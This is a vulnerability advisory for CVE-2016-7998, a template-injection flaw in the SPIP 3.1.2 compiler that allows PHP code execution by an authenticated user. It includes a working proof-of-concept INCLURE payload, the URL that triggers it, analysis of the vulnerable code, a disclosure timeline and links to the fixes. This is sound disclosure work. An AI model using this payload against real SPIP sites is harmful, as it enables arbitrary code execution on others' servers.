SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)

SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)

Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

Vulnerability Description

The SPIP template composer/compiler does not correctly handle SPIP « INCLUDE/INCLURE » Tags, allowing PHP code execution by an authenticated user.
This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.

Access Vector: remote

Security Risk: critical

Vulnerability: CWE-94

CVSS Base Score: 9.1 (Critical)

CVE-ID: CVE-2016-7998

Proof of Concept

Store a .html file in a random directory with the following content :

<INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>

Then you can access to the following URL, with the var_url paramater pointing to the path corresponding to your uploaded file:

http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html

The PHP code system("touch /tmp/exploited"); will be executed after 2 requests.

This happens because the template file is included (if already compiled) by ecrire/public/composer.php, line 60 :

if (!squelette_obsolete($phpfile, $source)) {
  include_once $phpfile;

and because we can « exit » the function generated by the template compiler (improper sanitization when generating argumenter_squelette):

function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {
  if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
    $doublons = nettoyer_env_doublons($Pile[0]["doublons"]);
  $connect = '';
  $page = (
'<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect"));
?'.'>
');
  return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html');
}

Therefore, the vulnerability leads to arbitrary PHP code execution.

Vulnerable code

The vulnerable code is located in the argumenter_inclure function (ecrire/public/compiler.php), line 123.

if ($var !== 1) {
  $val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")
    . $val . ($echap ? ") . '" : " ");
}

Timeline (dd/mm/yyyy)

• 15/09/2016 : Initial discovery
• 26/09/2016 : Contact with SPIP Team
• 27/09/2016 : Answer from SPIP Team, sent advisory details
• 27/09/2016 : Fixes issued for PHP Code Execution
• 30/09/2016 : SPIP 3.1.3 Released

Fixes

• https://core.spip.net/projects/spip/repository/revisions/23186
• https://core.spip.net/projects/spip/repository/revisions/23189
• https://core.spip.net/projects/spip/repository/revisions/23192

Affected versions

• Version <= 3.1.2

Credits

• Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)